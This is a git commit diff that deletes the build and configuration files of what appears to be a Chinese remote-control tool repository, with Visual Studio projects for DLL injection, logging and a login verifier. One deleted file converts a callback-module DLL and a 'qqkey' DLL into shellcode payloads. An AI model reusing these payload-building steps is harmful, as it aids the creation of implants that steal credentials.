This commit is contained in:
kiss 2024-07-11 01:20:28 +08:00 committed by GitHub
parent 2cca720913
commit a256933a88
No known key found for this signature in database
GPG Key ID: B5690EEEBB952194
184 changed files with 0 additions and 11818 deletions

View File

@ -1,5 +0,0 @@
DllToShellCode d 1 load 0 上线模块.dll payload32.bin
DllToShellCode d 1 load 0 上线模块.dll payload64.bin
DllToShellCode d 0 0 0 qqkey.dll payload64.bin

View File

@ -1,20 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "linkinjectdll", "linkinjectdll\linkinjectdll.vcxproj", "{0C66F4D8-2735-472F-A342-145B785A2D22}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{0C66F4D8-2735-472F-A342-145B785A2D22}.Debug|Win32.ActiveCfg = Debug|Win32
{0C66F4D8-2735-472F-A342-145B785A2D22}.Debug|Win32.Build.0 = Debug|Win32
{0C66F4D8-2735-472F-A342-145B785A2D22}.Release|Win32.ActiveCfg = Release|Win32
{0C66F4D8-2735-472F-A342-145B785A2D22}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

View File

@ -1,10 +0,0 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,2 +0,0 @@
#:v100
Debug|Win32|C:\Users\cxxc\Desktop\linkinjectdll\|

View File

@ -1,68 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{0C66F4D8-2735-472F-A342-145B785A2D22}</ProjectGuid>
<RootNamespace>linkinjectdll</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup />
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
</ClCompile>
<Link>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="main.cpp" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,22 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="main.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,20 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 11.00
# Visual Studio 2010
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "log", "log\log.vcxproj", "{12A7DF90-3BC1-41B0-BB66-C0C73434B30B}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{12A7DF90-3BC1-41B0-BB66-C0C73434B30B}.Debug|Win32.ActiveCfg = Debug|Win32
{12A7DF90-3BC1-41B0-BB66-C0C73434B30B}.Debug|Win32.Build.0 = Debug|Win32
{12A7DF90-3BC1-41B0-BB66-C0C73434B30B}.Release|Win32.ActiveCfg = Release|Win32
{12A7DF90-3BC1-41B0-BB66-C0C73434B30B}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal

Binary file not shown.

View File

@ -1,10 +0,0 @@
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel>
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,10 +0,0 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,2 +0,0 @@
#:v100
Debug|Win32|F:\4.0\tool\log\|

View File

@ -1,97 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<ProjectGuid>{12A7DF90-3BC1-41B0-BB66-C0C73434B30B}</ProjectGuid>
<Keyword>Win32Proj</Keyword>
<RootNamespace>log</RootNamespace>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>true</UseDebugLibraries>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseDebugLibraries>false</UseDebugLibraries>
<WholeProgramOptimization>true</WholeProgramOptimization>
<CharacterSet>Unicode</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LinkIncremental>true</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<PrecompiledHeader>Use</PrecompiledHeader>
<WarningLevel>Level3</WarningLevel>
<Optimization>Disabled</Optimization>
<PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<PrecompiledHeader>Use</PrecompiledHeader>
<Optimization>MaxSpeed</Optimization>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<GenerateDebugInformation>true</GenerateDebugInformation>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="helper.h" />
<ClInclude Include="ipc.h" />
<ClInclude Include="logger.h" />
<ClInclude Include="stdafx.h" />
<ClInclude Include="targetver.h" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="ipc.cpp" />
<ClCompile Include="log.cpp" />
<ClCompile Include="logger.cpp" />
<ClCompile Include="stdafx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
</ClCompile>
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,51 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="源文件">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="头文件">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl;inc;xsd</Extensions>
</Filter>
<Filter Include="资源文件">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<None Include="ReadMe.txt" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="stdafx.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="targetver.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="ipc.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="logger.h">
<Filter>头文件</Filter>
</ClInclude>
<ClInclude Include="helper.h">
<Filter>头文件</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<ClCompile Include="stdafx.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="log.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="ipc.cpp">
<Filter>源文件</Filter>
</ClCompile>
<ClCompile Include="logger.cpp">
<Filter>源文件</Filter>
</ClCompile>
</ItemGroup>
</Project>

View File

@ -1,10 +0,0 @@
<?xml version='1.0' encoding='UTF-8' standalone='yes'?>
<assembly xmlns='urn:schemas-microsoft-com:asm.v1' manifestVersion='1.0'>
<trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
<security>
<requestedPrivileges>
<requestedExecutionLevel level='asInvoker' uiAccess='false' />
</requestedPrivileges>
</security>
</trustInfo>
</assembly>

View File

@ -1,2 +0,0 @@
#v4.0:v100
Debug|Win32|J:\window\Quick\辅助工具\login\|

View File

@ -1,86 +0,0 @@
; CLW file contains information for the MFC ClassWizard
[General Info]
Version=1
LastClass=CZzhPassDlg
LastTemplate=CDialog
NewFileInclude1=#include "stdafx.h"
NewFileInclude2=#include "ZzhPass.h"
ClassCount=3
Class1=CZzhPassApp
Class2=CZzhPassDlg
Class3=CAboutDlg
ResourceCount=4
Resource1=IDD_ABOUTBOX
Resource2=IDR_MAINFRAME
Resource3=IDD_ZZHPASS_DIALOG
Resource4=ZzhPass
[CLS:CZzhPassApp]
Type=0
HeaderFile=ZzhPass.h
ImplementationFile=ZzhPass.cpp
Filter=N
[CLS:CZzhPassDlg]
Type=0
HeaderFile=ZzhPassDlg.h
ImplementationFile=ZzhPassDlg.cpp
Filter=D
LastObject=IDC_CHECK
BaseClass=CDialog
VirtualFilter=dWC
[CLS:CAboutDlg]
Type=0
HeaderFile=ZzhPassDlg.h
ImplementationFile=ZzhPassDlg.cpp
Filter=D
[DLG:IDD_ABOUTBOX]
Type=1
Class=CAboutDlg
ControlCount=4
Control1=IDC_STATIC,static,1342177283
Control2=IDC_STATIC,static,1342308480
Control3=IDC_STATIC,static,1342308352
Control4=IDOK,button,1342373889
[DLG:IDD_ZZHPASS_DIALOG]
Type=1
Class=CZzhPassDlg
ControlCount=3
Control1=IDOK,button,1342242817
Control2=IDCANCEL,button,1342242816
Control3=IDC_STATIC,static,1342308352
[DLG:ZzhPass]
Type=1
Class=CZzhPassDlg
ControlCount=23
Control1=IDC_STATIC,static,1342308352
Control2=IDC_EDIT1,edit,1350639617
Control3=IDC_START,button,1342242816
Control4=IDC_EXIT,button,1342242816
Control5=IDC_CHECK,button,1342242819
Control6=IDC_USERNEMA,edit,1350631552
Control7=IDC_STATIC,static,1342308352
Control8=IDC_STATIC,static,1342308352
Control9=IDC_STATIC,static,1342308352
Control10=IDC_STATIC,static,1208090624
Control11=IDC_STATIC,static,1342308352
Control12=IDC_PASSWORD,edit,1350631552
Control13=IDC_DNS,edit,1350631552
Control14=IDC_CLIENPORT,edit,1216413824
Control15=IDC_BUILD,edit,1350631552
Control16=IDC_BUTTON1,button,1342242816
Control17=IDC_STATIC,button,1342177287
Control18=IDC_STATIC,static,1342308352
Control19=IDC_DATA,edit,1350631552
Control20=IDC_STATIC,static,1476526080
Control21=IDC_STATIC,button,1342177287
Control22=IDC_STATIC,static,1208090624
Control23=IDC_GENGX,edit,1216413824

View File

@ -1,19 +0,0 @@
<html>
<body>
<pre>
<h1>Build Log</h1>
<h3>
--------------------Configuration: ZzhPass - Win32 Release--------------------
</h3>
<h3>Command Lines</h3>
Creating command line "link.exe ws2_32.lib /nologo /subsystem:windows /incremental:no /pdb:"Release/ÑéÖ¤Æ÷.pdb" /machine:I386 /out:"../bin/ÑéÖ¤Æ÷.exe" ".\Release\IniFile.obj" ".\Release\StdAfx.obj" ".\Release\ZzhPass.obj" ".\Release\ZzhPassDlg.obj" ".\Release\ZzhPass.res" "
<h3>Output Window</h3>
Linking...
<h3>Results</h3>
ÑéÖ¤Æ÷.exe - 0 error(s), 0 warning(s)
</pre>
</body>
</html>

View File

@ -1,25 +0,0 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio Version 17
VisualStudioVersion = 17.2.32630.192
MinimumVisualStudioVersion = 10.0.40219.1
Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "ZzhPass", "ZzhPass.vcxproj", "{EC61DBEF-B297-771A-AFFB-B1560448FBFA}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Win32 = Debug|Win32
Release|Win32 = Release|Win32
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{EC61DBEF-B297-771A-AFFB-B1560448FBFA}.Debug|Win32.ActiveCfg = Debug|Win32
{EC61DBEF-B297-771A-AFFB-B1560448FBFA}.Debug|Win32.Build.0 = Debug|Win32
{EC61DBEF-B297-771A-AFFB-B1560448FBFA}.Release|Win32.ActiveCfg = Release|Win32
{EC61DBEF-B297-771A-AFFB-B1560448FBFA}.Release|Win32.Build.0 = Release|Win32
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
GlobalSection(ExtensibilityGlobals) = postSolution
SolutionGuid = {667BB514-8615-4086-A219-31F915C2BBAD}
EndGlobalSection
EndGlobal

View File

@ -1,167 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup Label="ProjectConfigurations">
<ProjectConfiguration Include="Debug|Win32">
<Configuration>Debug</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
<ProjectConfiguration Include="Release|Win32">
<Configuration>Release</Configuration>
<Platform>Win32</Platform>
</ProjectConfiguration>
</ItemGroup>
<PropertyGroup Label="Globals">
<SccProjectName />
<SccLocalPath />
<Keyword>MFCProj</Keyword>
<ProjectGuid>{EC61DBEF-B297-771A-AFFB-B1560448FBFA}</ProjectGuid>
<ProjectName>login</ProjectName>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseOfMfc>Static</UseOfMfc>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
<ConfigurationType>Application</ConfigurationType>
<UseOfMfc>Static</UseOfMfc>
<CharacterSet>MultiByte</CharacterSet>
</PropertyGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
<ImportGroup Label="ExtensionSettings">
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="$(VCTargetsPath)Microsoft.Cpp.UpgradeFromVC60.props" />
</ImportGroup>
<ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="PropertySheets">
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
<Import Project="$(VCTargetsPath)Microsoft.Cpp.UpgradeFromVC60.props" />
</ImportGroup>
<PropertyGroup Label="UserMacros" />
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<OutDir>$(SolutionDir)$(Configuration)\</OutDir>
<IntDir>$(Configuration)\</IntDir>
<LinkIncremental>false</LinkIncremental>
</PropertyGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<ClCompile>
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
<InlineFunctionExpansion>OnlyExplicitInline</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<FunctionLevelLinking>true</FunctionLevelLinking>
<Optimization>MaxSpeed</Optimization>
<SuppressStartupBanner>true</SuppressStartupBanner>
<WarningLevel>Level3</WarningLevel>
<PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AssemblerListingLocation>.\Release\</AssemblerListingLocation>
<BrowseInformation>true</BrowseInformation>
<PrecompiledHeaderOutputFile>.\Release\ZzhPass.pch</PrecompiledHeaderOutputFile>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<ObjectFileName>.\Release\</ObjectFileName>
<ProgramDataBaseFileName>.\Release\</ProgramDataBaseFileName>
</ClCompile>
<Midl>
<SuppressStartupBanner>true</SuppressStartupBanner>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<TypeLibraryName>.\Release\ZzhPass.tlb</TypeLibraryName>
<MkTypLibCompatible>true</MkTypLibCompatible>
<TargetEnvironment>Win32</TargetEnvironment>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
<Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Release\ZzhPass.bsc</OutputFile>
</Bscmake>
<Link>
<SuppressStartupBanner>true</SuppressStartupBanner>
<SubSystem>Windows</SubSystem>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<AdditionalDependencies>ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<ClCompile>
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
<InlineFunctionExpansion>Default</InlineFunctionExpansion>
<StringPooling>true</StringPooling>
<FunctionLevelLinking>
</FunctionLevelLinking>
<Optimization>Disabled</Optimization>
<SuppressStartupBanner>true</SuppressStartupBanner>
<WarningLevel>Level3</WarningLevel>
<PreprocessorDefinitions>WIN32;_WINDOWS;_DEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<AssemblerListingLocation>.\Release\</AssemblerListingLocation>
<BrowseInformation>true</BrowseInformation>
<PrecompiledHeaderOutputFile>.\Release\ZzhPass.pch</PrecompiledHeaderOutputFile>
<PrecompiledHeader>Use</PrecompiledHeader>
<PrecompiledHeaderFile>stdafx.h</PrecompiledHeaderFile>
<ObjectFileName>.\Release\</ObjectFileName>
<ProgramDataBaseFileName>.\Release\</ProgramDataBaseFileName>
<DebugInformationFormat>EditAndContinue</DebugInformationFormat>
<BasicRuntimeChecks>EnableFastChecks</BasicRuntimeChecks>
</ClCompile>
<Midl>
<SuppressStartupBanner>true</SuppressStartupBanner>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<TypeLibraryName>.\Release\ZzhPass.tlb</TypeLibraryName>
<MkTypLibCompatible>true</MkTypLibCompatible>
<TargetEnvironment>Win32</TargetEnvironment>
</Midl>
<ResourceCompile>
<Culture>0x0804</Culture>
<PreprocessorDefinitions>NDEBUG;%(PreprocessorDefinitions)</PreprocessorDefinitions>
</ResourceCompile>
<Bscmake>
<SuppressStartupBanner>true</SuppressStartupBanner>
<OutputFile>.\Release\ZzhPass.bsc</OutputFile>
</Bscmake>
<Link>
<SuppressStartupBanner>true</SuppressStartupBanner>
<SubSystem>Windows</SubSystem>
<OutputFile>$(OutDir)$(TargetName)$(TargetExt)</OutputFile>
<AdditionalDependencies>ws2_32.lib;%(AdditionalDependencies)</AdditionalDependencies>
<GenerateDebugInformation>true</GenerateDebugInformation>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="IniFile.cpp" />
<ClCompile Include="StdAfx.cpp">
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">Create</PrecompiledHeader>
<PrecompiledHeader Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">Create</PrecompiledHeader>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">stdafx.h</PrecompiledHeaderFile>
<PrecompiledHeaderFile Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">stdafx.h</PrecompiledHeaderFile>
</ClCompile>
<ClCompile Include="ZzhPass.cpp" />
<ClCompile Include="ZzhPassDlg.cpp" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="ZzhPass.rc" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\网络验证\IniFile.h" />
<ClInclude Include="IniFile.h" />
<ClInclude Include="Resource.h" />
<ClInclude Include="StdAfx.h" />
<ClInclude Include="ZzhPass.h" />
<ClInclude Include="ZzhPassDlg.h" />
</ItemGroup>
<ItemGroup>
<CustomBuild Include="res\ZzhPass.ico" />
<CustomBuild Include="ReadMe.txt" />
<CustomBuild Include="res\xp.xml" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>

View File

@ -1,63 +0,0 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{30279a20-9953-4e46-8100-fbe4716554f9}</UniqueIdentifier>
<Extensions>cpp;c;cxx;rc;def;r;odl;idl;hpj;bat</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{84219e33-4ef5-461d-a4ab-54815c5207bf}</UniqueIdentifier>
<Extensions>h;hpp;hxx;hm;inl</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{08bb80ac-ec22-4454-9c5c-74cbe4b29466}</UniqueIdentifier>
<Extensions>ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="IniFile.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="StdAfx.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ZzhPass.cpp">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="ZzhPassDlg.cpp">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="ZzhPass.rc">
<Filter>Source Files</Filter>
</ResourceCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="..\网络验证\IniFile.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="IniFile.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Resource.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="StdAfx.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ZzhPass.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="ZzhPassDlg.h">
<Filter>Header Files</Filter>
</ClInclude>
</ItemGroup>
<ItemGroup>
<CustomBuild Include="res\ZzhPass.ico">
<Filter>Resource Files</Filter>
</CustomBuild>
<CustomBuild Include="ReadMe.txt" />
<CustomBuild Include="res\xp.xml" />
</ItemGroup>
</Project>

View File

@ -1,18 +0,0 @@
[123]
userpass=123
dns=127.0.0.1
build=100
date=20220101
radio=
[1234]
userpass=123
dns=127.0.0.1
build=100
date=20220101
radio=
[12346]
userpass=123
dns=127.0.0.1
build=100
date=20250101
radio=

Binary file not shown.

Before

Width:  |  Height:  |  Size: 3.7 KiB

View File

@ -1,6 +0,0 @@
[123]
userpass=123
